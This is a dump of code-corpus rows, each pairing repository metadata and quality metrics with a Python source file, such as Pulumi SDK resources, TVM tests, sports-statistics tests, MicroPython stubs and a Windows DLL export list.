] | 1 | 2016-12-16T09:14:56.000Z | 2016-12-16T09:14:56.000Z | metrilyx/schema/provider/interface.py | metrilyx/metrilyx-dataserver | 12a1663a4845a5e216097e8bba59429d53341857 | [
"Apache-2.0"
] | null | null | null | metrilyx/schema/provider/interface.py | metrilyx/metrilyx-dataserver | 12a1663a4845a5e216097e8bba59429d53341857 | [
"Apache-2.0"
] | null | null | null |
class IProvider(object):
def normalizedAlias(self, metaStr, aliasStr):
raise NotImplementedError("Subclass must implement this method!")
def aggr(self):
raise NotImplementedError("Subclass must implement this method!")
| 24.7 | 73 | 0.720648 | 25 | 247 | 7.12 | 0.64 | 0.269663 | 0.359551 | 0.404494 | 0.617978 | 0.617978 | 0.617978 | 0 | 0 | 0 | 0 | 0 | 0.194332 | 247 | 9 | 74 | 27.444444 | 0.894472 | 0 | 0 | 0.4 | 0 | 0 | 0.293878 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
4b6445d706c9692e3f575e73372d0f26de797b1b | 39,812 | py | Python | sdk/python/pulumi_oci/devops/deploy_environment.py | EladGabay/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 5 | 2021-08-17T11:14:46.000Z | 2021-12-31T02:07:03.000Z | sdk/python/pulumi_oci/devops/deploy_environment.py | pulumi-oci/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2021-09-06T11:21:29.000Z | 2021-09-06T11:21:29.000Z | sdk/python/pulumi_oci/devops/deploy_environment.py | pulumi-oci/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 2 | 2021-08-24T23:31:30.000Z | 2022-01-02T19:26:54.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 51.436693 | 324 | 0.678313 | 4,515 | 39,812 | 5.74928 | 0.056257 | 0.066531 | 0.059327 | 0.057632 | 0.91074 | 0.89117 | 0.884968 | 0.876416 | 0.864897 | 0.8241 | 0 | 0.002078 | 0.214257 | 39,812 | 773 | 325 | 51.503234 | 0.827728 | 0.396991 | 0 | 0.709906 | 1 | 0 | 0.133542 | 0.05635 | 0 | 0 | 0 | 0 | 0 | 1 | 0.165094 | false | 0.002358 | 0.016509 | 0 | 0.283019 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
4b2117a6cf0508de99d82b77a4bc6e2f844c791a | 137 | py | Python | m/utils.py | comynli/m | 245f4091f0e1bddc4cff26ad89df03122987d549 | [
"Apache-2.0"
] | 11 | 2016-09-25T01:35:09.000Z | 2020-12-30T03:14:35.000Z | mini-SQLAlchemy/utils.py | EscapeLife/mini-SQLAlchemy | c5e4d08349c6469884c5668f4c9dc86cd631b257 | [
"Apache-2.0"
] | null | null | null | mini-SQLAlchemy/utils.py | EscapeLife/mini-SQLAlchemy | c5e4d08349c6469884c5668f4c9dc86cd631b257 | [
"Apache-2.0"
] | 21 | 2016-09-24T09:56:31.000Z | 2020-02-18T05:57:21.000Z | import json
from webob import Response
def jsonify(**kwargs):
return Response(json.dumps(kwargs), content_type='application/json')
| 19.571429 | 72 | 0.766423 | 18 | 137 | 5.777778 | 0.722222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.124088 | 137 | 6 | 73 | 22.833333 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0.116788 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.5 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
d9b3375057cc74b08759f018c6878f2a94060fd0 | 52,384 | py | Python | tests/python/auto_tensorize/test_auto_schedule.py | QinHan-Erin/AMOS | 634bf48edf4015e4a69a8c32d49b96bce2b5f16f | [
"Apache-2.0"
] | 22 | 2022-03-18T07:29:31.000Z | 2022-03-23T14:54:32.000Z | tests/python/auto_tensorize/test_auto_schedule.py | QinHan-Erin/AMOS | 634bf48edf4015e4a69a8c32d49b96bce2b5f16f | [
"Apache-2.0"
] | null | null | null | tests/python/auto_tensorize/test_auto_schedule.py | QinHan-Erin/AMOS | 634bf48edf4015e4a69a8c32d49b96bce2b5f16f | [
"Apache-2.0"
] | 2 | 2022-03-18T08:26:34.000Z | 2022-03-20T06:02:48.000Z | import tvm
import os
import time
import tempfile
import shutil
import numpy as np
from tvm import testing
from tvm import auto_tensorize as at
from tvm.contrib import tar, ndk
from tvm import auto_scheduler
from tvm.ir import transform
from tvm.driver import build_module
from tvm.runtime import Object, module, ndarray
... | 33.217502 | 127 | 0.564027 | 6,556 | 52,384 | 4.252898 | 0.068639 | 0.032602 | 0.015781 | 0.018578 | 0.86303 | 0.848504 | 0.83007 | 0.814396 | 0.794742 | 0.772972 | 0 | 0.018451 | 0.324374 | 52,384 | 1,576 | 128 | 33.238579 | 0.769355 | 0.137809 | 0 | 0.74895 | 0 | 0 | 0.040003 | 0.007103 | 0 | 0 | 0 | 0.001269 | 0.007557 | 1 | 0.020991 | false | 0.011755 | 0.016793 | 0 | 0.055416 | 0.071369 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8a248160aecd030fbd680720ecb8edc8ce0e858d | 14,476 | py | Python | triangular_lattice/diecutting/result_N_ave.py | ssh0/growing-string | 2e43916e91157dfb4253775149b35ec9d81ef14d | [
"MIT"
] | null | null | null | triangular_lattice/diecutting/result_N_ave.py | ssh0/growing-string | 2e43916e91157dfb4253775149b35ec9d81ef14d | [
"MIT"
] | 1 | 2016-04-14T08:15:28.000Z | 2016-04-27T02:57:13.000Z | triangular_lattice/diecutting/result_N_ave.py | ssh0/growing-string | 2e43916e91157dfb4253775149b35ec9d81ef14d | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding:utf-8 -*-
#
# written by Shotaro Fujimoto
# 2016-12-06
import matplotlib
import matplotlib.pyplot as plt
import matplotlib.cm as cm
from matplotlib.backends.backend_pdf import PdfPages
from mpl_toolkits.mplot3d.axes3d import Axes3D
import numpy as np
from scipy.optimize import curve_... | 32.240535 | 99 | 0.564521 | 2,104 | 14,476 | 3.698669 | 0.085076 | 0.049473 | 0.067463 | 0.034181 | 0.830249 | 0.816885 | 0.801979 | 0.781547 | 0.77358 | 0.767412 | 0 | 0.021129 | 0.261122 | 14,476 | 448 | 100 | 32.3125 | 0.706432 | 0.232039 | 0 | 0.676259 | 0 | 0 | 0.100982 | 0.023178 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.035971 | null | null | 0.02518 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8a4834d7767ec22aaa39441e6cc7545e731ecc6b | 6,311 | py | Python | test/http_test.py | ivcuello/pypaypal | 957cbd4e8d2127b0fc639825ce3a3924acd3216d | [
"Apache-2.0"
] | 1 | 2022-01-18T03:01:34.000Z | 2022-01-18T03:01:34.000Z | test/http_test.py | ivcuello/pypaypal | 957cbd4e8d2127b0fc639825ce3a3924acd3216d | [
"Apache-2.0"
] | 10 | 2021-01-31T14:33:16.000Z | 2021-01-31T14:45:02.000Z | test/http_test.py | ivcuello/pypaypal | 957cbd4e8d2127b0fc639825ce3a3924acd3216d | [
"Apache-2.0"
] | null | null | null | """Integration Test module for main http module
it's required to provide client & secret
ENV variables for this tests executions
"""
import os
import unittest
from pypaypal.errors import IdentityError, ExpiredSessionError
from pypaypal.http import (
AuthType,
parse_url,
SessionMode,
PayPalSe... | 31.39801 | 98 | 0.678498 | 701 | 6,311 | 5.880171 | 0.145506 | 0.054343 | 0.054585 | 0.054585 | 0.81247 | 0.792091 | 0.785784 | 0.785784 | 0.729985 | 0.729985 | 0 | 0.003514 | 0.233402 | 6,311 | 201 | 99 | 31.39801 | 0.848491 | 0.049437 | 0 | 0.77931 | 0 | 0 | 0.088152 | 0 | 0 | 0 | 0 | 0 | 0.117241 | 1 | 0.262069 | false | 0.131034 | 0.027586 | 0 | 0.317241 | 0.027586 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
8a605f7632ae15091c238f192b6d156d14233923 | 24,640 | py | Python | sdk/python/pulumi_azure/loganalytics/data_export_rule.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 109 | 2018-06-18T00:19:44.000Z | 2022-02-20T05:32:57.000Z | sdk/python/pulumi_azure/loganalytics/data_export_rule.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 663 | 2018-06-18T21:08:46.000Z | 2022-03-31T20:10:11.000Z | sdk/python/pulumi_azure/loganalytics/data_export_rule.py | henriktao/pulumi-azure | f1cbcf100b42b916da36d8fe28be3a159abaf022 | [
"ECL-2.0",
"Apache-2.0"
] | 41 | 2018-07-19T22:37:38.000Z | 2022-03-14T10:56:26.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 51.226611 | 264 | 0.679992 | 3,017 | 24,640 | 5.340404 | 0.069274 | 0.068955 | 0.063431 | 0.06281 | 0.895606 | 0.877607 | 0.860477 | 0.842664 | 0.831058 | 0.805487 | 0 | 0.004377 | 0.230479 | 24,640 | 480 | 265 | 51.333333 | 0.845367 | 0.430682 | 0 | 0.646825 | 1 | 0 | 0.118631 | 0.045223 | 0 | 0 | 0 | 0 | 0 | 1 | 0.15873 | false | 0.003968 | 0.019841 | 0 | 0.27381 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8a6e982c4da187823675fc22557e03519217dd44 | 48,508 | py | Python | awx/main/south_migrations/0034_v148_changes.py | alexander-bauer/awx | d1319b739406dad988f97c41cb92093f180ba822 | [
"Apache-2.0"
] | 1 | 2021-06-11T20:01:06.000Z | 2021-06-11T20:01:06.000Z | awx/main/south_migrations/0034_v148_changes.py | alexander-bauer/awx | d1319b739406dad988f97c41cb92093f180ba822 | [
"Apache-2.0"
] | 4 | 2020-04-29T23:03:16.000Z | 2022-03-01T23:56:09.000Z | awx/main/south_migrations/0034_v148_changes.py | alexander-bauer/awx | d1319b739406dad988f97c41cb92093f180ba822 | [
"Apache-2.0"
] | 1 | 2018-06-06T08:47:22.000Z | 2018-06-06T08:47:22.000Z | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'ProjectUpdate.start_args'
db.add_column(u'main_projectupd... | 108.762332 | 271 | 0.574606 | 5,039 | 48,508 | 5.398492 | 0.047827 | 0.097048 | 0.16932 | 0.241885 | 0.901004 | 0.883836 | 0.868213 | 0.826747 | 0.779363 | 0.73139 | 0 | 0.005411 | 0.161891 | 48,508 | 445 | 272 | 109.006742 | 0.663707 | 0.005174 | 0 | 0.380282 | 0 | 0 | 0.607909 | 0.300379 | 0 | 0 | 0 | 0 | 0 | 1 | 0.004695 | false | 0.007042 | 0.00939 | 0 | 0.021127 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
8ac5fc05900df8dfee7bf6105f1f3ee5d4a98edf | 4,752 | py | Python | abacus_tpot/outcomes/wioa.py | workforce-data-initiative/tpot-abacus | a5abf4af544693e0c58f7891785718e7bc606ed6 | [
"Apache-2.0"
] | 1 | 2019-09-09T20:52:49.000Z | 2019-09-09T20:52:49.000Z | abacus_tpot/outcomes/wioa.py | workforce-data-initiative/tpot-abacus | a5abf4af544693e0c58f7891785718e7bc606ed6 | [
"Apache-2.0"
] | 43 | 2018-02-11T11:24:18.000Z | 2022-02-22T05:32:16.000Z | abacus_tpot/outcomes/wioa.py | workforce-data-initiative/tpot-abacus | a5abf4af544693e0c58f7891785718e7bc606ed6 | [
"Apache-2.0"
] | null | null | null | import pandas as pd
import numpy as np
from abacus_tpot import tpot_config
def median_wage_n_quarters_after_exit(wage_table, participants,
n_quarters):
"""
Return the median total wage for the Nth quarter after the
program exit date, for a list of participants.
""... | 40.965517 | 106 | 0.717172 | 606 | 4,752 | 5.339934 | 0.135314 | 0.125155 | 0.125155 | 0.066749 | 0.895241 | 0.873918 | 0.865266 | 0.848269 | 0.832818 | 0.780902 | 0 | 0.002866 | 0.19234 | 4,752 | 115 | 107 | 41.321739 | 0.840281 | 0.147727 | 0 | 0.742424 | 0 | 0 | 0.037678 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.106061 | false | 0 | 0.045455 | 0 | 0.30303 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8ad605aaaa3823b11f91aa3022cf183779028003 | 31,590 | py | Python | startup/users/30-user-Gomez_Oskar.py | NSLS-II-SMI/profile_collection | c1e2236a7520f605ac85e7591f05682add06357c | [
"BSD-3-Clause"
] | null | null | null | startup/users/30-user-Gomez_Oskar.py | NSLS-II-SMI/profile_collection | c1e2236a7520f605ac85e7591f05682add06357c | [
"BSD-3-Clause"
] | 13 | 2018-09-25T19:35:08.000Z | 2021-01-15T20:42:26.000Z | startup/users/30-user-Gomez_Oskar.py | NSLS-II-SMI/profile_collection | c1e2236a7520f605ac85e7591f05682add06357c | [
"BSD-3-Clause"
] | 3 | 2019-09-06T01:40:59.000Z | 2020-07-01T20:27:39.000Z | def ex_situ_hardxray(t=1):
# samples = ['PLA2','PLA1','CON6','CON5', 'CON4','CON3','CON2','CON1',
# '05_Ca_1', '05_Ca_2', '05_UT_1', '05_UT_2', 'PLA6','PLA4','PLA3',
# ]
# samples = ['B5_1','B5_2','B5_3', 'B6_1','B6_2','B6_3','B7_1','B7_2','B7_3','B12_1','B12_2','B12_3']
# x_list = [45550, 41200, ... | 53.90785 | 173 | 0.548465 | 4,903 | 31,590 | 3.39486 | 0.10157 | 0.073536 | 0.085792 | 0.093361 | 0.888735 | 0.87696 | 0.869631 | 0.865665 | 0.855933 | 0.851066 | 0 | 0.274304 | 0.264419 | 31,590 | 585 | 174 | 54 | 0.442011 | 0.517221 | 0 | 0.663636 | 0 | 0.045455 | 0.173128 | 0.017319 | 0 | 0 | 0 | 0 | 0.077273 | 1 | 0.036364 | false | 0 | 0 | 0 | 0.036364 | 0.013636 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
0a0b2011d0bf72da6fe5f776597c2651014895bc | 168,583 | py | Python | tests/integration/boxscore/test_ncaaf_boxscore.py | ajhodges/sportsreference | 8cb38db3ff2c38806cb4a68482208fd5e0f3084a | [
"MIT"
] | null | null | null | tests/integration/boxscore/test_ncaaf_boxscore.py | ajhodges/sportsreference | 8cb38db3ff2c38806cb4a68482208fd5e0f3084a | [
"MIT"
] | null | null | null | tests/integration/boxscore/test_ncaaf_boxscore.py | ajhodges/sportsreference | 8cb38db3ff2c38806cb4a68482208fd5e0f3084a | [
"MIT"
] | null | null | null | import mock
import os
import pandas as pd
from datetime import datetime
from flexmock import flexmock
from sportsreference import utils
from sportsreference.constants import AWAY
from sportsreference.ncaaf.constants import BOXSCORE_URL, BOXSCORES_URL
from sportsreference.ncaaf.boxscore import Boxscore, Boxscores
MONT... | 41.759475 | 78 | 0.417889 | 14,189 | 168,583 | 4.70019 | 0.029812 | 0.053261 | 0.042105 | 0.05614 | 0.950668 | 0.949708 | 0.948269 | 0.944385 | 0.940967 | 0.938148 | 0 | 0.041212 | 0.448734 | 168,583 | 4,036 | 79 | 41.769822 | 0.676405 | 0.002135 | 0 | 0.956239 | 0 | 0 | 0.384321 | 0.024587 | 0 | 0 | 0 | 0 | 0.002501 | 1 | 0.003251 | false | 0.002001 | 0.002251 | 0 | 0.007502 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0a4eb8710f2a84eb8f0f17b69c1f616fe32993c9 | 30,669 | py | Python | tests/fixtures/api-fcsfiles.py | primitybio/cellengine-python-toolk | 1f9dd168f1f27e2beba69f02e340371190857b33 | [
"MIT"
] | 4 | 2021-01-12T17:03:37.000Z | 2021-12-16T13:23:57.000Z | tests/fixtures/api-fcsfiles.py | primitybio/cellengine-python-toolk | 1f9dd168f1f27e2beba69f02e340371190857b33 | [
"MIT"
] | 61 | 2021-01-11T05:27:16.000Z | 2022-03-08T01:50:09.000Z | tests/fixtures/api-fcsfiles.py | primitybio/cellengine-python-toolkit | 1f9dd168f1f27e2beba69f02e340371190857b33 | [
"MIT"
] | null | null | null | import pytest
@pytest.fixture(scope="session")
def fcs_files():
fcs_files = [
{
"_id": "5d64abe2ca9df61349ed8e79",
"annotations": [
{"name": "plate", "value": "96 Well - V bottom"},
{"name": "plate row", "value": "A"},
{"name": "plate... | 53.52356 | 70 | 0.436108 | 2,726 | 30,669 | 4.887748 | 0.061996 | 0.247673 | 0.389072 | 0.05674 | 0.882618 | 0.80066 | 0.80066 | 0.80066 | 0.80066 | 0.80066 | 0 | 0.104051 | 0.344746 | 30,669 | 572 | 71 | 53.617133 | 0.558967 | 0 | 0 | 0.8 | 0 | 0 | 0.383384 | 0.040399 | 0 | 0 | 0 | 0 | 0 | 1 | 0.001754 | false | 0 | 0.001754 | 0 | 0.005263 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
0a5666a9bb2d4f804cd762d051afd60c8075c56f | 46,943 | py | Python | daal4py/sklearn/linear_model/_logistic_path_0_22.py | agorshk/daal4py | 58a9b2301c47cd2d5144a403a59c210e10b75f8f | [
"Apache-2.0"
] | null | null | null | daal4py/sklearn/linear_model/_logistic_path_0_22.py | agorshk/daal4py | 58a9b2301c47cd2d5144a403a59c210e10b75f8f | [
"Apache-2.0"
] | null | null | null | daal4py/sklearn/linear_model/_logistic_path_0_22.py | agorshk/daal4py | 58a9b2301c47cd2d5144a403a59c210e10b75f8f | [
"Apache-2.0"
] | null | null | null | #
#*******************************************************************************
# Copyright 2014-2020 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.a... | 44.327668 | 112 | 0.575869 | 5,763 | 46,943 | 4.483429 | 0.089363 | 0.021364 | 0.012772 | 0.013933 | 0.909513 | 0.89798 | 0.894187 | 0.891013 | 0.889233 | 0.889233 | 0 | 0.017001 | 0.33841 | 46,943 | 1,058 | 113 | 44.369565 | 0.814953 | 0.315553 | 0 | 0.886435 | 0 | 0 | 0.035517 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.014196 | false | 0 | 0.025237 | 0.003155 | 0.053628 | 0.006309 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6a6738ead518800981ecb146de5aa559b1865476 | 248 | py | Python | notebooks_workflow_blank/clear_notebooks.py | usgs/neversink_workflow | acd61435b8553e38d4a903c8cd7a3afc612446f9 | [
"CC0-1.0"
] | null | null | null | notebooks_workflow_blank/clear_notebooks.py | usgs/neversink_workflow | acd61435b8553e38d4a903c8cd7a3afc612446f9 | [
"CC0-1.0"
] | null | null | null | notebooks_workflow_blank/clear_notebooks.py | usgs/neversink_workflow | acd61435b8553e38d4a903c8cd7a3afc612446f9 | [
"CC0-1.0"
] | null | null | null | import os
import glob
for cf in glob.glob('*.ipynb'):
print('jupyter nbconvert --ClearOutputPreprocessor.enabled=True --inplace {}'.format(cf))
os.system('jupyter nbconvert --ClearOutputPreprocessor.enabled=True --inplace {}'.format(cf))
| 35.428571 | 97 | 0.729839 | 29 | 248 | 6.241379 | 0.551724 | 0.176796 | 0.430939 | 0.508287 | 0.718232 | 0.718232 | 0.718232 | 0.718232 | 0 | 0 | 0 | 0 | 0.112903 | 248 | 6 | 98 | 41.333333 | 0.822727 | 0 | 0 | 0 | 0 | 0 | 0.587045 | 0.307692 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0.2 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 8 |
6a7060af3c0dc58fca9f7975cb3470a8fc4aed16 | 1,471 | py | Python | stubs/ev3_pybricks_1_0_0/io.py | RonaldHiemstra/micropython-stubs | d97f879b01f6687baaebef1c7e26a80909c3cff3 | [
"MIT"
] | 38 | 2020-10-18T21:59:44.000Z | 2022-03-17T03:03:28.000Z | stubs/ev3_pybricks_1_0_0/io.py | RonaldHiemstra/micropython-stubs | d97f879b01f6687baaebef1c7e26a80909c3cff3 | [
"MIT"
] | 176 | 2020-10-18T14:31:03.000Z | 2022-03-30T23:22:39.000Z | stubs/ev3_pybricks_1_0_0/io.py | RonaldHiemstra/micropython-stubs | d97f879b01f6687baaebef1c7e26a80909c3cff3 | [
"MIT"
] | 6 | 2019-10-08T05:31:21.000Z | 2021-04-22T10:21:01.000Z | """
Module: 'io' on LEGO EV3 v1.0.0
"""
# MCU: sysname=ev3, nodename=ev3, release=('v1.0.0',), version=('0.0.0',), machine=ev3
# Stubber: 1.3.2
class BytesIO:
''
def close():
pass
def flush():
pass
def getvalue():
pass
def read():
pass
def readinto():
... | 10.896296 | 86 | 0.442556 | 157 | 1,471 | 4.127389 | 0.254777 | 0.356481 | 0.074074 | 0.092593 | 0.736111 | 0.728395 | 0.728395 | 0.728395 | 0.728395 | 0.728395 | 0 | 0.023171 | 0.442556 | 1,471 | 134 | 87 | 10.977612 | 0.767073 | 0.089735 | 0 | 0.896552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.425287 | false | 0.425287 | 0 | 0 | 0.482759 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
6aacc933e6ed593ff3f3573929f1d281375d77d6 | 14,865 | py | Python | tests/resources/test_free_throw.py | dblackrun/pbpstats | 9870aae0875069644c95522592777ca950fe4cfa | [
"MIT"
] | 54 | 2019-10-16T00:10:51.000Z | 2022-03-19T21:21:05.000Z | tests/resources/test_free_throw.py | dblackrun/pbpstats | 9870aae0875069644c95522592777ca950fe4cfa | [
"MIT"
] | 15 | 2019-11-19T01:20:52.000Z | 2022-02-04T13:38:37.000Z | tests/resources/test_free_throw.py | dblackrun/pbpstats | 9870aae0875069644c95522592777ca950fe4cfa | [
"MIT"
] | 15 | 2019-11-19T11:54:51.000Z | 2022-03-21T05:08:53.000Z | from pbpstats.resources.enhanced_pbp.data_nba.free_throw import DataFreeThrow
from pbpstats.resources.enhanced_pbp.stats_nba.free_throw import StatsFreeThrow
from pbpstats.resources.enhanced_pbp.stats_nba.field_goal import StatsFieldGoal
from pbpstats.resources.enhanced_pbp.stats_nba.foul import StatsFoul
def test_da... | 28.920233 | 80 | 0.597915 | 1,821 | 14,865 | 4.566722 | 0.075233 | 0.039683 | 0.045334 | 0.037037 | 0.898268 | 0.860029 | 0.834295 | 0.794252 | 0.742905 | 0.724266 | 0 | 0.081496 | 0.285974 | 14,865 | 513 | 81 | 28.976608 | 0.701997 | 0 | 0 | 0.76569 | 0 | 0 | 0.292365 | 0 | 0 | 0 | 0 | 0 | 0.033473 | 1 | 0.033473 | false | 0 | 0.008368 | 0 | 0.041841 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6acacdc50e6b41c12ecf82fe40b41821e7f57e63 | 29,123 | py | Python | util/data/gen/SHLWAPI.dll.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | null | null | null | util/data/gen/SHLWAPI.dll.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | null | null | null | util/data/gen/SHLWAPI.dll.py | 56kyle/bloons_auto | 419d55b51d1cddc49099593970adf1c67985b389 | [
"MIT"
] | null | null | null | symbols = []
exports = [{'type': 'function', 'name': 'AssocCreate', 'address': '0x7ffb3e205f90'}, {'type': 'function', 'name': 'AssocGetPerceivedType', 'address': '0x7ffb3e203fc0'}, {'type': 'function', 'name': 'AssocIsDangerous', 'address': '0x7ffb3e216650'}, {'type': 'function', 'name': 'AssocQueryKeyA', 'address': '... | 14,561.5 | 29,110 | 0.665797 | 2,265 | 29,123 | 8.552318 | 0.333333 | 0.231687 | 0.308915 | 0.010686 | 0.00764 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108874 | 0.07719 | 29,123 | 2 | 29,110 | 14,561.5 | 0.611907 | 0 | 0 | 0 | 0 | 0 | 0.665293 | 0.031314 | 0 | 0 | 0.179783 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
